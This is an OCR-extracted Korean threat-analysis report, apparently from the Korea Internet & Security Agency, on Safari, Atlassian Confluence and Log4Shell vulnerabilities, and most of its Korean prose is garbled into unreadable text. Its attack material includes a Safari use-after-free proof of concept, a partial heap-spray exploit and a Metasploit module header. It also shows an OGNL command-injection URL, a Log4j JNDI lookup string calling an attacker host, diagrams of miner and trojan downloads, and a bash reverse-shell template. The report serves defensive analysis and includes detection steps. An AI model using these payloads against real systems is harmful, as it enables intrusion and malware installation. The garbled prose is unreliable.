HEAE Z2U=Z Qs 2E0] He Azt S 2 RFIIE X Aol et 7|tHa22 ChAl Md[A

LTSI S MUK} ot =2 A= Si1 QT B2 25 Mo 30| 29| 7|FE UEIUC 28 S
O2{7tX|e| 0|72 S-EZ Qs {AVIE {1 OhA| ZH7|E Sh= BRIt Bk ONEH 22|9f AHnt e
g F2U=Z et 2SI AVIE X7t S = UACL SFHZE S5 WIS 2 SLE A2
HAXMR! 2t ZH[7t HEE HRIX| s f2l= o

Apple®| Alm2|(Safari) HEI2X )
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UEE

Hotof

3%

|
SACh= Z0i| Chsl QlAlst
=2
|

O|A2AZE

AoIME LT AI3HoE Eictn M2tste #e
AlB RIZO| FHOFHO| Chof 4RO ZAIZ THXIT ChRSICIOF Sict
|

Alt2|(Safari)= 2022 470l 77EK|2| FoFH0| LH0| =AM, 11 F 67= 320l YHIL U

=20 H|a}| ATi™oZ OFMSH Zio2 A AT L2 ARES 0fE9] X‘"ng
510| Gich 2Lt 0ai3t w0 ChEAE &St RZL

ool ezt

o 4EE FUE SolMe= @ 88 HCGH 20| 2701t Z2&H0| &[0 UULCE
Release Vulnerability ID Description CVSS Severity
oMo 2 HMIZHE MY HAIXIE XMalshH 2ol XiHtATE
20224 EJ} AdE £~ 9lol, 0] 2AMlE i0S 15.3 & iPadOS 15.3, V3.1 :6.1
3 CVE-2022-22589 watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.20f| MEDIUM
A Y HEEoZ SHEUZ
oMo 2 HMIZHE f HHIXE AMAI7IH U2l XiHIATH
20224 EJt AsE £ o, 0] EXl= i0S 15.3 & iPad0S 15.3, V3.1 :88
32 CVE-2022-22590 watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.20f| HIGH
A HEE| #H22 2HEUS
oto|Mo = H|&tE # HHXE AMA|I7|H ZiHIx HOPYAo| 2
20224 8= 4 glom, 0 2= i0S 153 LiPad0S 15.3, watch0S V3.1 :65
gy CVETR022722592 g )05 153, Safari 153, macOS Monterey 12.201A1 Al B  MEDIUM
2|2 2X7t S-S
AIOIES E35ff DIZIst AFRAF HHE ZX5 4 Qlom, 0] 2
20224 Hl= i0S 15.3 2 iPadOS 15.3, watchOS 8.4, tvOS 15.3, Satari V3.1 :6.5
38 CVE-2022-22594 15.3, macOS Monterey 12.20|A IndexDB APl At 2MIE U MEDIUM
Fad dME Sal 2YEUS
oMo 2 HMIZE # HH=E A™MAIZ|H U2l XiHIATE
20224 IPUUSe EJt 42 4 A2n, 0| M= macOS Monterey 12.2.1, V3.1:88
gg  CVET2022722620 o5 31 a1 ipados 15.3.1, Safari 15.3(v. 16612.4.9.1.8 I HIGH
15612.4.9.1.8)01l K EAME H22| H2|Z2 +HEUS
20224 oM YAO|EE WESIH FAE AZLO| UM £ Qlon, 0] V3.1 :43
g CVET2022722654 o ichOS 85, vOS 153, Safari 1540014 AREIQIS MEDIUM
otM AIO|EE Safari 7HQIMEES HIfRE DEQ AT A2
2022 ol r ?l:o ,jjapnAHo.; £ =0 0":..1- r V3.1:43
52 CVE-2022-26731 X 0| 7|2 et 2 QIO 0] 2Xl= i0S 15.5 & iPad0S MEDIUM

15.5, macOS Monterey 12,40 X £HE|US

20224 AHt7| OfZ Atmt2|(Safari) FIFH )




2022 2Ht7| AtolH 1Y S

Sk

[=X=]

E35], 2 320 3= FU™MS CVE-2022-22620(CVSS 7|& 88X Z HIGH &)= 20130 0|0|
AHEISIE HOTHOIYtOLE, 20161 HBS] TEE AMSARKSMGHE M TAl ZHERS Ho=
£%0| €It

input = document.body.appendChild(document.createElement(“input”));

foo = document.body.appendChild(document.createElement(“a”));
foo.id = “fo0”;

// Go to state1 when history.back is called

// The URL needs to be {currentPage+hash) to trigger loadinSameDocument during the call to back()
// Since the foo’s element id—"foo”, focus will change to that element

history.pushState(“state1”, *”, location + “#00”);

// Current state = state2
history.pushState(“state2”, *”);

setTimeout(() = {

// Set the focus on the input element.
// During the call to back() the focus will change to the foo element
// and therefore triggering the blur event on the input element
input.focus();
input.onblur = () =) history.replaceState(“state3”, *”);
setTimeout(() =) history.back(), 1000);

}, 1000);

78 ZH(Proof—of—Concept) ZE )
ZIX ' https: //googleprojectzero.github.io/Odays—in—the—wild//0day—RCAs/2022/CVE—2022—22620.html

CVE-2022-22620= heap HZ2| JHOIA SHE S7H2 Pratoln M AFSE mf LA &~ Q= FURo=
UAF(Use After Free) SlEfZ 22=ICt History APIE SIXH T oM 225t T|0|X| AEHO]| CHSH HAIA(
*7‘*)2 5125HH 0]213t H|0|X| MEf= “SerializedScriptValue”2 XMZEE|A| =L}, History APH= AEf |

THE E2 7|2 =S HHE & U= “replaceState” HIMEE MISSLCY.

FoFMS A7 = MBS “Frameloader: :loadinSameDocument” 7t MEHE 2l4x(stateObject) 2 F|GHH
MNE 2R 3142 S2|X| LomMA WAMSITE “Historyltem” ZHR|THO| “stateObject”of| CHst &% HEE JX|0
Q)1 “loadinSameDocument™= “onblur” O[HIES E3l AFRX} JavaScriptE S5t E2|Hst 4 QU&LIC
AEXIO| SHH2 “replaceState”S SE6104 Historyltem2| AEIS A JHRIZ HFEE 2= UAIEIT, “stateObject™ol|
CH3t .,?rOE%._P EXRE MHE 4= UZIEICE SHH0| BHetE|H “loadinSameDocument™= “statePopped” SE0i|A 0]
free’ ZUHIZ Al AL2510 UAF(Use After Free) ZENZ 2240] 0|0{X|7| == Zd0|ct,

ZXME 2MAIZI Hao| st THX|= “loadinSameDocument”0ff CHSH stateObject Q4+E
HOIE{QI “SerializedScriptValue* 0l A &X FI2E ZOIE| “RefPtr{SerializedScriptValue)'2 HZ
“loadinSameDocument” 7t HAMI2| &= FIREE SIS Z AN 2XIE sHEE 4 QlCt

S o
2 >
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https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html
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RlZoz HEf o 5HTOI 20178 Hui7lol O4Z Almf2l(Safar)E REE St CYst 3H BES0|
FEEo= WHy} EIYOn, 0l 20164 BIHEY 0f% CHA| BHxIZ0| 2H7t &

OH
=

o
oK

243 H HEAL

=| o=

2017-07  Apple Mac OS X + Safari — Local Javascript Quarantine Bypass Local

2017-06  Apple Safari 10.1 — Spread Operator Integer Overflow Remote Code Execution Remote

201705 Ap.ple Safari 10.0..3(12602'.4.8) / WebKit — 'HTMLObjectElement: :updateWidget WebApps
Universal Cross—Site Scripting

201705 Apple WebKlt / Safar| 10.0.3(12602.4.8) — 'Editor: :Command: :execute’ Universal WebApps
Cross—Site Scripting

2017-05 ApE)Ie WebKit / Safari 10.0.3(12602.4.8) — 'WebCore: :FrameView: :scheduleRelay DoS
out Use—After—Free

2017-05  Apple Safari 10.0.3 — 'USC::CachedCall' Use—After—Free Remote

2017-04  Apple Safari — Array concat Memory Corruption DoS

0017—04 APple WebKit / Safari 10.0.2(12602.3.12.0.1) — 'operationSpreadGeneric' Universal WebApps
Cross—Site Scripting

2017-04 A;I)plelWebKlt / Safarl. 10_0..2(1‘2602.3.12.0.1) — PrototypeMap: : createEmptyStructu WebApps
re Universal Cross—Site Scripting

2017-04 Apple WebKit / Safgrl 10.0.3 (12602.4.8) — Universal Cross—Site Scripting via a WebApps
Focus Event and a Link Element

2017—04 APPle WebKit ./ Safari 10.0.3 (12602.4.8) — Synchronous Page Load Universal WebApps
Cross—Site Scripting

2017-03  Apple Safari — Out—of—Bounds Read when Calling Bound Function DoS

2017-03  Apple Safari — Builtin JavaScript Allows Function.caller to be Used in Strict Mode DoS

2017-03  Apple Safari — 'DateTimeFormat.format' Type Confusion DoS

Jon & 2-5 20174 AtHE7| 2 Almje| 24 FE=

£35] 20174 58€oll= 0iE Atml2|(Safar) EFICZ Sk= UAF HENQ| Flefds SZsk=s =7t 8K =7|=
SIRICEH Pwn20wnOllA ALESt WebKit H1= CVE-2017—-2491 / ZDI-17-2312 JavaScriptCoreti|A{ JSString
JHFI0l CHE UAF(Use—After—Free) SEjZ2 2240] 0|20 X=0|, JavaScript SEHO|A JSString Z4H|0l| CHSH

W32 ZOIEE 20| ZZoi 0I3IRUCE 0l= E(~28GB) & AZ20|7t RS0 EF ALIZIRE 285177t
01 o2 EAXITE, macOSe| HO|X| F MH7{LIE S0 RAMO| 8GB! MacBookMIAE 7+ St QHFY=Ql
SI7I/M7| Z2|OIEIEE H2 5 U 2= UENQI S0 20| 7tsotA| =L
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// Exploit for CVE—2017—2491, Safari 10.0.3
// https://phoenhex.re/2017-05-04/pwn2own17—cachedcall—uaf

function make_compiled_function() {

}

function target(x) {
return X*5 + x — X*x;
}
// Call only once so that function gets compiled with low level interpreter
// but none of the optimizing JITs
target(0);
return target;

function pwn() {

var haxs = new Array(0x100);
for (var i =0; i { 0x100; ++i)
haxs[i] = new Uint8Array(0x100);

// hax is surrounded by other Uint8Array instances. Thus *(&hax — 8) == 0x100,
// which is the butterfly length if hax is later used as a buitterfly for a

// take JSArray.

var hax = haxs[0x80];

var hax2 = haxs[0x81];

var target_func = make_compiled_function();

// Small helper to avoid allocations with .set(), so we don’t mess up the heap
function set(p, i, a,b,c,d,ef,g.h) {

pli+0]=a; pli+1]=b; pli+2]=c; pli+3]=d; pli+dl=e; p[H+5]=f; pli+6]=g; pli+7]=h;
}

function spray() {

var res = new Uint8Array(0x7ffff000);

for (var i = 0; i { Ox7ffff000; i += 0x1000) {
// Write heap pattern.
// We only need a structure pointer every 128 bytes, but also some of
// structure fields need to be != 0 and | can’t remember which, so we just
// write pointers everywhere.
for (var j = 0; j { 0x1000; j += 8)

set(res, i +j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);

// Write the offset to the beginning of each page so we know later

// with which part we overlap.

var j = i+142*8;

set(res, j, j&Oxff, (»)8)&0x, (i) 16)&O0xff, (7)24)80xif, 0, 0, Oxff, Oxff);
}

return res;

Apple Safari 10.0.3 — 'JSC::CachedCall' Use—After—Free 22§ 2E )
X 1 https://github.com/phoenhex/files/blob/master/exploits/cachedcall~uaf.html
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https://www.exploit-db.com/exploits/41964
https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html
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OIE2tAIRt MiZel FUE2 sEMd 25 SI0=0f KTk J2iLt 20203 Z2LE QIS Y AlAHIO| Ciet
2210| ZO0IX|H 2021 2B 34 Z=9| It 248 FItst QL.
oy 27 ac g A
2021-10  Atlassian Jira Server Data Center 8.16.0 — Arbitrary File Read WebApps
2021-10  Atlassian Confluence 7.12.2 — Pre—Authorization Arbitrary File Read WebApps
2021-06 | Atlassian Jira Server Data Center 8.16.0 — Reflected Cross—Site Scripting (XSS) WebApps
2021-06 | Atlassian Jira 8.15.0 — Information Disclosure (Username Enumeration) WebApps
2021-04  Atlassian Jira Service Desk 4.9.1 — Unrestricted File Upload to XSS WebApps
202103  Atlassian JRA 8.11.1 — User Enumeration WebApps

Korea Internet & Security Agency

~

41



A =32 EI$ oy G2

kY

OH
=g
ne
oH

ZEE N

=

2021-01  Atlassian Confluence Widget Connector Macro — SSTI WebApps

2019-11  Atlassian Confluence 6.15.1 — Directory Traversal (Metasploit) WebApps

2019-11  Atlassian Confluence 6.15.1 — Directory Traversal WebApps

2019-04 AtIaSS|an.Coanuence Widget Connector Macro — Velocity Template Injection Remote
(Metasploit)

2018-11  Atlassian Jira — (Authenticated) Upload Code Execution (Metasploit) Remote

2017-01 | Atlassian Confluence ¢ 5.10.6 — Persistent Cross—Site Scripting WebApps

TR ot=2tAIQHAtlassian) HIZS Z2{5t= LISt 22 3 )

0|25t OFE2tAIQF HAEZAHATL OGNL(Object—Graph Navigation Language) Q&M F|okHMo)| <|H
SAXL Yeolol FEE ’é'go”ga* 4 QU= FIFH(CVE-2022-26134)0| =XHE0| K|t 63 F7t 2 ZHSH,
aliet ForMe 95z 9.89| Critical SECE WIR =2 Fo|7t 27 EICH OGNL(Object—Graph Navigation

Language)= AtHt 22y AHO{7} XtA| X|Rohe FL2ELCH 2EASIE! SEf2 XHE A9 SMUS
I LE A AIZEl=, RO HESS FE510 28 F2 AZECL OS2 R ZHEFR0AL]
OGNLF2H2 0[H0| XZ0| OfL|ct 2021 H=0A SYTH FAF(CVE-2021-26084)0| STHSACL.

class MetasploitModule { Msf: :Exploit: :Remote
Rank = ExcellentRanking
prepend Msf: :Exploit: :Remote: : AutoCheck
include Msf: :Exploit: :Remote: :HitpClient
include Mst: :Exploit: : CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' =) 'Atlassian Confluence Namespace OGNL Injection’,
'Description’ =) %a{
This module exploits an OGNL injection in Atlassian Confluence servers. A specially
crafted URI can be used to
evaluate an OGNL expression resulting in OS command execution.
2
'Author’ =) [
'Unknown), # exploited in the wild
‘bturner—r7',
'baines—r7',
‘Spencer Mcintyre'



2022 28t7| Aol 2IE St

‘References' =) [
['CVE, '2021—260841,
['URL', 'https: //jira.atlassian.com/browse/CONFSERVER—790007src=confmacro’],
['URL, 'https: //gist.githubusercontent.com/bturner—r7/1d0b62fac85235094f1c95ccdc
03fcf3/raw/478e53b668b5 150eefd53e0956f23d53618d250/confluence—exploit.py'],
['URL', 'https: //github.com/joaines—r7/through_the_wire'],
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve—2022—26134/rapid7—
analysis']
1
'DisclosureDate’ =) '2022—06—02',
'License' =) MSF_LICENSE,
"Platform’ =) ['unix’, 'linux’],
'Arch’' =) [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' =) false,
Targets' =) [
[
'Unix Command',
{
'Platform’ =) 'unix,
'Arch’ =) ARCH_CMD,
Type' =) :cmd
}
1
[
'Linux Dropper,
{
'Platform' =) 'linux,
'Arch’ =) [ARCH_X86, ARCH_X64],
Type' =) :dropper
}
]
1
'DefaultTarget' =) 0,
'DefaultOptions' =) {
'RPORT' =) 8090
3
‘Notes' =) {
'Stability' =) [CRASH_SAFE],
'Reliability' =) [REPEATABLE_SESSION],
'SideEffects' =) [I0C_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

OFS2tAI2t OGNL 21BN F{oFF|(CVE-2021-26084)32Z 3= )
ZX : https: //packetstormsecurity.com/files/ 167449/ Atlassian—Confluence—Namespace—OGNL—Injection.html
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https://packetstormsecurity.com/files/167449/Atlassian-Confluence-Namespace-OGNL-Injection.html

OIS2IAIOF ZAZZ A LSt F|H ZZ2 2021 8% OGNLO|| CHSH F|2FX0] ZIHE 0|F XIZWIK|
A&sHN HERHA A1 | A0 CHEH AZHO| CHEHOE WMstT QUOM, M MAXSE 120t O[M2| F st
MH7E EXlot= A2 UK 0] WHE tHS0| EesiCt,

HAIOlY @B

40
7]
on
0
T

P

Confluence Server Webwork OGNL injection — CVE-2021-26084 X|2t E|3! )

Confluence Server Webwork OGNL injection — CVE—2021—2608401| CHE ZX| E|ZI 20214 78 27 X|=
MMO| £ oM, 2021 82 252 SHZ0| =l Z{oZ |0 QT 2Lt 20223 48 11 7.4.11 HEO|A CHA|
2H|7} SOIE|U T, 6 22 CVE-2022-261342 £|2FH0| ChA| 27K IiC

OFS2FAIRH OGNL FAUFTE HTTPAHO| FES DIXlz QMM o=, OGNL H|0|2E= HTTP 29|
URIOll YIXISiCt f&St HAE(GET,POST,PUT S) b= S&6HK| 22 HAES(G : BALH)ZI 25 ARO[ T/,

TP 2B SEf2 SIS A48l 32 Ak CiSn 2k

http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tp/
%22%29%7D/

lo| BHASE URL 30| =/0f o0, B2 FSE TEIX || AIBHE /9] ORI QIABATIX]
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${@java.lang.Runtime@getRuntime().exec("touch /tp/r")}

42 U2 M= 20 oM O EXE He 4 0k

http—nio—8090—exec—10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22
touch%20/tp/r%22%29%7D/ HTTP/1.1 302 20ms

F|okMof St S5 AEHS HitpServiet.servicedl A A|ZHSH] OgnlValueStack.findValue 0|A2 2 OGNL
QIMIMO| |A| =ICt, OgniValueStack findValue(str)= E7Fet OGNL EHHAI| AIRFEHOZ TextParseUtil.class=
0| #|ekdo| 2= 1 OgniValueStack findValueE: SE3ICt,

public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile(“WSw{ (") ww}’);
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack findValue(g);
strl = (o == null) ? “” : 0.toString();
} catch (Exception ignored) {
stri ="
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();

if (previous ¢ expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}

ActionChainResult.class= this.namespaceE MEaE EHAIS AtE5I0 TextParseUtiltranslateVariablesE

public void execute(Actioninvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUltil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

com.opensymphony.webwork.dispatcher.ServietDispatcher.getNamespaceFromServietPathollAf 23 & URI
EXIH0IA “namespace”7} AA=ICH
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public static String getNamespaceFromServietPath(String servietPath) {
servletPath = servietPath.substring(0, servietPath.lastindexOf(“/”));
return servietPath;
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ULt ZUolME AT DRI S 7|HoR S MAt HE D23 SoIM LogdE AtEstn Ut ESH
£ 2 FHYE|A S3 Sl ZHIO|HE 7[RI 2 2 F0I CHfst NH|ANME LogdiZt AFRE|T RUCY,
D Logdj F2H 2M
2 EMAME Log4iolM Z MSH 02| FU™ T 2x FHH0|IHM 71 TiF20] 2 Log4Shel(CVE-
2021-44228) Z|2FHo]| thsi A CHECE,
Hord e
* Log4Shell F2AX2 Logdiofl A 7+, 23 HIAIX] & oi7H Ha0fl AR El= INDPOIA] EHMlisH= FAXo =,
SAXI= Lookup 7152 AUEst0 LDAP Mol 2=F (oo FEE Alslist 4~ QlCt
- JNDI(Java Naming and Directory Interface) : Java S8 m2 20| st XF2(HIO|EH[0|A 5) L
Aldtof] st OE T2 HHE J2 £ Q= 7S Ma
- Lookup : INDIE Salf 32 XIHE AtEot= 7Is
CVE ID CVE—2021-44228
] A A Al
Azt AlZK(Critical)
CVSS ™ 10.0
T 2.0—_beta9 ~ 2141 0|3}
(% Z|QFH0| SHZE HF(2.3.1, 2.12.2 L 2.12.3) H2))
3) p.27. 222, “INDI(Java Naming and Directory Interface)2t?” £t
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- 43 flele FUYTEE 345l oA Z=E Safl AFeict
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
private static final Logger logger = LogManager.getLogger(logdj.class);
public static void main(String[] args) {
//The default trusturicodebase of the higher version JDK is false
System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, "true”);
logger.error(“${jndi:Idap: //attacker1.kr/Exploit}");
}
}

« LogditilAlE 22 25 org.apache.logging.logdi.core.Logger.log HAEZE AMZ5}HH privateConfig.loggerC

onfig.getReliabilityStrategy(}2 £ 4™ mels ztustct,

« 0% noLookups M2 |35t F| workingBuilder 40| ‘${’ 2SS o} 5l

o EXIEO| Exlig 22 confi
A (o]

[2=1

g.getStrSubstitutor().replace() HIAEZE SESIC} config.getStrSubstitutor().replace() HIAEE value S QIX}
-

Zre 2 310 StrSubstitutor.substitue() HAES SE3IiCt,
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« StrSubstitutor.substitue() HAE= ME=l ${indi:ldap://attacker1.kr/Exploit} 2XIE0|A “$", “{", “V'S
Hel5t 2+ StrSubstitutor.resolveVariable() HAZQ| QIXIE FESICH 0| Zt2 CHA| resolve.lookup()
HAEZ AlSHEICH




 resolve lookup() HIAES PREFIX_SEPARATORE 7|Z22 TE510{ prefix2t name H4E AXstD
prefix2 2845t lookup() HIAEES MAXsict,

o
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'/ 25 215 AIolY

kY

« oM ZAS 2SHME INDIE ARESIERZ, INDILookup.lookup() HAEES AISHSHC

- JNDILookup.lookup() HAES CA| jndiManager.lookup() HAES Alsi5iCt FUMEES HiZ

jndiManager.lookup() HIAEZR QI5H SAYSHT}

« OIXt2 MYE “|dap://attacker1.kr/Exploit’0ll CHEH S EXt 90| HIZ lookup() 7152 Sl ZS

AESI0] HEIAEE ZAMSto 20 22X} LDAP Ajt(attacker1.kr)of| Exploit YEIE|IE QX5HA| =IC},



D FoHE x|l
- 042 EAA|0IM HHZSQ! Logdj F2FE AN, 2K 7|2 HM 715 52 018610 Logdj £ E=
o

Logdj HTZ =felst 4 QUot. 2K 7|2 M 7|SS 082t Logdj HH 2421 W2 of2het ZTt,

® (Linux) logdj—core HZ &0l
+ dpkg -1 | grep log4j
« find / —name ‘log4®

{Linux0flA logdj—core HZ &tol)

® (Windows) log4j x| X 01

- window explorer®| ZM 7|5 (logdj ZiAH)S 018301 KT Stol

{Windows OflA| logdj—core HZ &tol)

D Java Spring Framework Maven A2 Al logdj7t AX|E AZ22| pomxml LAUS H0{ “logdj—core” 2 A

« ZAHZTL “(version) AFRH T /version)” 22 E101

{logdj—core A H&)

- 9| Yots 2850 F|oFet HT0| SQlEl A, of2Het 20| JAVA HT0N| 2t LogdiE Z4! HEQE
AUH|0|Estoqof STt
20224 1€ 7|F, Logj4 ZA HH
JAVA 8 OJA 217.1 0|4
JAVA 7 2.12.4 0|4
JAVA 6 23204

« YO|0IET} 022 A2, YAl ZX| Yete= UndiLookup S2HAZH K748t

JndiLookup S2HAE |7 HHO OA|
* Zip —q —d logdji—core—* jar org/apache/logging/logdj/core/lookup/JndiLookup.class
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2Aolmg} MO A
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* SAXSO0| logdj F2fHE ASSW H 7K A 287t HR3ICE. 34 2| SUMY, H2[ LM,
o0y Cless TS REY Mt 2T SHs Sdol/| flet AETE RE MH7E AFH0| ZH|=[0{0F BiCh.
01213t 32 XHH2 SAX} A MHE F0H5I0 FESIALE HYHR! MHIAS 2SS MHE 52510
AES17|= sict,

[ (> ]
-0
A2l 24 M 2| 24 M Class THY R AfH] otMEC om A

— 32| SMMY - 324 F2IE S5k MHOICH logd] FHXO0| 71 20| 0|8%l= B20| Xfdt 7|Ht
Aol 22 7IsOI_E 0| 7tstt AJARI0|H 2| £A0| THsSICt

— FH2| &AM UNDI 22A %%OI ASIIRCHH AR A=ei=2 He| A MHZ F2IE M5
Eich Fokdof A2el= | 441 MH|AS | DAPTF RMIZ} CHEXO|CH, HEE0] ZAXIES £XMS
mlst7| st HAHQ! A1HI AE RHEEQ MHE sHUstH 34 el AH|AE FS6ICE o|nf Ad|A
Z2To| M0 et = eSst= 324 WE0| ZapRICY,

— Class It REAMH : Dja A|ARI2 FE| &M NHEEEC| HHS 8ot 2t Class IS CH2 Bh=C}.

[IR2CE HE ¢ I2EZS E5) 4SS}

: Class ool Felel Fdof wat &7t AYIFEE o2 BeCh o o 2B

H
OPYTES HIEE 4 Y OHYTC RE A} 712 TR

D THY T Wy

* H2| L MHE O EA Fet=Liof M2t S H2|2t SAY] 7+ P4I0] FHEHEIC o= SIHE 54
He| il =TS 2MeE ZU0[Ch MY T8 YA & 371X|=2 AJHSiT

- 32 #27t DYE |




24 #2|7} Baseb4Z QIZHE K

~ B2 27} Ao MNEE R

rr

o
aT

AN HRET (B2 F2)7t 1HE 93

1 60T ’ sanbiuydaj /;V

i

=
S

@ Useragent: =
@ E jndi:ldap://[Hacker Idap Sever IP]/exploit H

2| £4 M

® Download Coin Miner
s Me PORT 80

TH

:, l \
- @ ldap://[Hacker Idap Sever IP]/eprolt' - &
. PORT 1389 ]
. (1}
]

: Ll Exploit.class :

® Download RAT
PORT 80

: log4j Command
® Download Exploit.class from [1st Download Server IP]

A2l 41 My

@ Download loT Malware
PORT 80

Class T R A @ Download
T ';(‘ """"" N '/)\né;';—.lf%gtent/themes/twentysixteen/Eproit‘class 3d PYIAE |KIE AH
i Exploit.class i

O SARt= #H2| S MHoIM S FH2IE 2 THA0f ot mis Aol HHC,

@ mia MH2| #2f5t logdi= SAXIZH L& & Ao Z&tE 32 #H2| 22 FE510 Al 32Xt
2| 4 M2 TSl

@ Ha2| A M= ek MHOlA| 24 Class TS CH2ESotate YHS St

@ s Mt= Class T RE MHOIM 20 Class TIYS CH2EE 21, Class D0l o= U=

® Yol Zuf2 oTc QEXAN 5 20| AyFCH} CREC F

L]
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- UM THRE2 (3 #2|7t Base64Z 2ATTE RY)

R O X-Api-Version: [ —— oc]
== jndizldap://[#2l =41 Idap M IP]/Basic/Command/Base64/ H
. [Command encoded by Base64] H

72l 41 A SO N -

@ Idap://[HE] =4 AH 1P]
/Basic/Command/Base64/

[ 1]
2| 41 A

PORT 1389
(Idap PORT)

| ® Download ExploitfRandom10].class
| From [H2| =41 AH{]:8888

' ExploitfRandom10].class ]

PORT 8888 o
' (web PORT) | @ Download ExploitRandom10].class
: PORT 8888
3 i

] Exploit.class
log4j Command

Y [Command encoded by Base64] | ]
: PORT 1389 ! - &u '
— ! am® | PORT 80
o I .

O SARK= 2l S MuollM 212 & FHOYE 2 m3lof Bot mish MHZ 2T}

@ mfa MH{2| F2fet logdi= SARIZE &St Tl ZetE
Ha| a4 MH 2 HEelC

®
n- |
i
>
=
R
£
rir
E
glzl
x
T
2
Y
12
0x
Q
QO
wn
w
El
e
mjo
o
Ho
I
Q'E
i)

@ mls M= 2| a4 MHO| BEER L3510 Explot’ &A1t HHE 102X2 &
A
e

=
o4 Class TUS CI22E U A5H0! TS

® Bl Zulz YA QERM HF AYFCI} CIeEC it

217 & HHO| : “/Basic/Command/Base64/” EXIE FI0fl &AIZ HHOE HE0] Baseb4=2



- MM HRES (B2 HElt Ao MAE= 23

- @ X-Api-Version:
. i E jndi:ldap://[#2| =41 MH IP}/[Random Query] n
LA
2| 4 M Hal 4 M YR Al

[ E | @ Idap//[H2] $41 N 1P) ' l -
H H /[Random Query] ! [} ‘. E

sweon | sanbiuyoay oY

1 i PORT 1389 ! m
: @ make Command ! ' T
! ——— B
1 | | ' log4j Exploit.class
: — | 1 Command
E @ make Random Query Name 3 )
! 1 oét
| PORT 1389 o
: (1dap PORT) _ =2
I ' ® Download ExecTemplateJDK[Version].class olo
i From [H2] 4! Me11:8180
! PORT 8180 o ! OF A1 o
| (web PORT) i ® Download ExecTemplate)DK[Version].class FYIRE FE MH —l
: ; PORT 8180
1 ot Em

\ ExecTempIateJDK[Ver5|on] class :

O SAR= #He| a4 MHE 782 i 32 OIS 0[2] XIFei.
@ BE0| XY= Salf H2loff 2L 0|FS HH 24t 612 = Hdelct,
Q@ SZARI= H2| S Mol 52 F2IE 2 T2l B0t misH Aol HHC,

@ s A2l 225t logaj= BZAP} WA ¥ Lzlo) EEIE B2 2| 222 £E510] CiA| 2ZxI]
2| 241 M= H3IC,

® F2| 4 M= mfsh Mol 2y Class TtE CR2EESENE FES MEeltt

® Ll Mt Ha2| 24l Mo dZEZ ’%aroq ExecTemplate /DK’ 2X12} JDK HH HE=2 ZEHE
UBES 718l 2 Class US CIREE I AdHSI0| HES SAl6i

=]

© BE2 2z AgIE REX|OM 2B AT =Tt CH22E Eoh

° 79
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= AATEM LB JIS*0| MAED, HEO 8 7150l 25 DDoS 54 7Is0| 2H
HAZ| 0] 0|3/ Ut
2

AX|5t= Muhstik 242 CHISH O [RIXOIM SEE

o E
JE CI2REsi Adlieh o U=E 750 Qloh 2B3Hez HHE 77|=

— (XMRIG) GitHubdl £|x|8t XMRIG O10|H MEAZEE AATFEE C}RZE 5t10, IZEOO|HE
stk

—

nz

— (Kinsing) ILI5H A1H‘i7 t AR MHE Lot A AFRES CREC6kn AHlsHH, ZI5XO R Y0,
F2EN0|Y 7|58 $8i6H= Kinsing AT =7 AlBHEICHS

)
Kinsing 4 &3] ATRE

5) Threat Alert: Logdj Vulnerability Has Been adopted by two Linux Botnets(https: //blog.netlab.360.com/threat—alert—log4j—
vulnerability—has—been—adopted—by—two—linux—botnets)

6) Hackers start pushing malware in worldwide Log4Shell attacks(https: //bleepingcomputer.com/news/security/hackers—start—
pushing—malware—in—worldwide—log4shell—attacks, '21.12.12)



- A
— (Khonsari) CEZI0|HE x|2st ZE E2I0|EHE AES ¢12|E0 = AUSE
StA|2H E41E I?_ HEr7t MR ZAXIS| FAZ HI|Z|] UX| Lo}
Hi2tE = ZAsHe RUCE?

Sl= NET zHad9jofolct
017t Ofl 2tom2tn

— (NightSky) Rook #fiMelloje] =32 22X U= NightSkye 215 DEV-04010]| 25l THUE A,
CVE—2021-44228 #|of™E ot2510d VMware Horizon £2M2 224511 QICt?

NightSky ZAMg0f BHALE ) NightSky &S0 ZH2t

rs

‘\
J

« 21Z4H|0] 2T =(RAT, Remote Access Trojan)
— (Orcus) Khonsari 2HA2I042F 242 MHOIAN 01§ E2EH HHZEZYOH, C2AMHE HZ £ AAMHE
AlE=Sit,

- 2[HA A
— YUMo pasebdE QT 0| CI2TH 22 HHOE AFMSICE, 0|2 Qls QEE MESE, LR
A0 ZY S S 7Hse gAY JtSsttt

TooTl
* HHO: /bin/bash —i ) /dev/tcp/{MHTA{MHEE]} 0(&1 2)&1

7) Technical Advisory: Zero—day critical vulnerability in Log4j2 exploited in the wild(https: //businessinsights.bitdefender.com/
technical—advisory—zero—day—critical—vulnerability—in—log4j2—exploited—in—the—wild)
New ransomware now being deployed in Log4Shell attacks(https: //bleepingcomputer.com/news/security/new—ransomware—
now—being—deployed—in—log4shell-attacks, '21.12.14)

8) Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability(https: //microsoft.com/security/
blog/2021/12/11/guidance—for—preventing—detecting—and—hunting—for—cve—2021-44228—log4j—2—exploitation#tNightSky,
21.12.11)
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«CISO 2! MHHOQIEIS ZAIOZ T MH|A SEEN SHEXIZ TFT A

B
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- - FEEole — TFT 2%, Het | 7j0lS, FHorH Hyl ¥
